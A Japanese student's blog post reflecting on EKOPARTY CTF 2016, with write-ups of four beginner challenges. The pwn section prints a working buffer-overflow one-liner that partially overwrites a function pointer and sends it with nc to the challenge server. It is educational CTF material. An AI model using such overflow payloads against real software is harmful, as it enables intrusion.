1日ひとつだけ強くなる

おべんきょうのーと

EKOPARTY CTF 2016: 感想と反省

はじめに

1日目の日本時間18時くらいに知った. 平日は日中講義なので夕方夜の隙間時間に問題眺めてた. 大学のネットワークから問題サーバーに接続できないことも多く,モチベーションの低下にも繋がった.

とりあえず何か1問くらいはときたいなぁと思ったが,結局1問も解けず撃沈.

取り組んだ問題と考えたこと,そのWrite upをまとめる.

pwn25 ultrababy

まずは事前調査

$ file ultrababy
ultrababy: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=de50a6b52145c2fed72e45e8f36dd27f0daced16, not stripped

$ checksec --file ultrababy
[*] '/home/ubuntu/writeup/[EKOPARTY CTF 2016]/pwn25 ultrababy/ultrababy'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

正直ultrababyなのにFull RELROでNX, PIE 有効って難しそうだなぁとか思ってた.

radare2で関数を列挙してみると,sym.Flagが怪しいというとこまではわかってた.後でwrite upを見て気づいたが,アドレスの下位1バイト分しか違わないので,そこだけ書き換えてやればよかった.

$ r2 ultrababy
 -- I accidentally radared my filesystem today.
[0x000006b0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x000006b0]> afl
0x00000658    3 23           sym._init
0x00000680    1 8            sym.imp.puts
0x00000688    1 8            sym.imp.read
0x00000690    1 8            sym.imp.fflush
0x00000698    1 8            sym.imp.setvbuf
0x000006a0    1 16           sym.imp.__cxa_finalize
0x000006b0    1 42           entry0
0x000006e0    4 50   -> 44   sym.deregister_tm_clones
0x00000720    4 66   -> 57   sym.register_tm_clones
0x00000770    5 50           sym.__do_global_dtors_aux
0x000007b0    4 48   -> 42   sym.frame_dummy
0x000007e0    1 19           sym.Bye
0x000007f3    1 19           sym.Flag
0x00000806    1 161          sym.main
0x000008b0    4 101          sym.__libc_csu_init
0x00000920    1 2            sym.__libc_csu_fini
0x00000924    1 9            sym._fini

アセンブルコードを見ていくと,rdxを呼び出しているところがあり,rdxに入ってるのはQWORD PTR [rbp-0x8]の関数Byeのアドレスである.

<main+152>: call rdx

0x19バイトでBOFしてスタックに積まれたsym.Byeの下位1バイト分のアドレスが書き換えられるので,ここを0xf3に書き換えてやれば良い. 下位1バイトしか変わらないっていうのに気づけていたら僕も解けてた

00:0000| rsi rsp 0x7fffffffdd60 ('a' <repeats 15 times>...)
01:0008|         0x7fffffffdd68 ('a' <repeats 15 times>...)
02:0016|         0x7fffffffdd70 ("aaaaaaaaaGUUUU")
03:0024|         0x7fffffffdd78 --> 0x555555554761 (<register_tm_clones+65>:   ret)
04:0032| rbp     0x7fffffffdd80 --> 0x0 
05:0040|         0x7fffffffdd88 --> 0x7ffff7a36f45 (<__libc_start_main+245>:   mov    edi,eax)
06:0048|         0x7fffffffdd90 --> 0x7fffffffde68 --> 0x7fffffffe208 ("/home/ubuntu/wr"...)
07:0056|         0x7fffffffdd98 --> 0x7fffffffde68 --> 0x7fffffffe208 ("/home/ubuntu/wr"...)

ローカルで試してみると

$ python -c "print 'a'*0x18 + '\xf3'" > input.txt 
$ ./ultrababy < input.txt 
Welcome, give me you best shot
EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
$ python -c "print 'a'*0x18 + '\xf3'" | nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000 
Welcome, give me you best shot
EKO{Welcome_to_pwning_challs_2k16}

Web25 Mr.Robot

webなのになんのリンクも貼られてないしヒント意味わからんとか考えてた.

後からWriteupみたらrobot.txtだしそういえばDisallow it!とか書いてあってめちゃくちゃヒントじゃんこれ!ってなった.

https://ctf.ekoparty.org/robots.txt

Disallow: /static/wIMti7Z27b.txtとあるので, https://ctf.ekoparty.org/static/wIMti7Z27b.txt にアクセスする.

EKO{robot_is_following_us}

FBI25 Welcome to the dark side

.onionのリンクなのでTorでアクセスする必要がある.

自分の環境にTor入ってなかったのとリンク先がsilkroadってあってやばそうなやつじゃん....とか思って逃げた.

実際は多分普通のサイトだったみたいで,アクセスしてソースコードを見ると一番上にコメントでFlagが隠れていた.

EKO{buy_me_some_b0ts}

misc50 Hidden inside EKO

普通に背景画像にフラグある. EKO{th3_fl4g}

これ50ポイントもあったのか...

感想

見直してみるととても簡単な問題ばかりだった. ちゃんと諦めずに解いてみるのが大切だなぁと反省した.

解けないからずっとその問題にかじりついていたが,あまりにも進まないと思ったら次の問題に移ったほうがよさそうだと感じた. 一人で取り組んでると気軽に相談できる相手もいないので辛く厳しい戦いである.

あとは,EKOPARTY CTFは初心者向けの問題が多いらしく,確かに他のwriteup見てても取り組みやすそうな問題や理解しやすい問題が多いと思った.(初心者以下なので初心者向けの問題が解けない)

あとは,常時開設CTFは行き詰った時にForumなどで追加のヒントがもらえたが,実際のCTFだとヒントがないので,自分の知見を広げて蓄積することが必要だと思った.

まだたくさん問題が残っているので,他の問題にもwriteup参考にしつつ解いて知見を広げたい.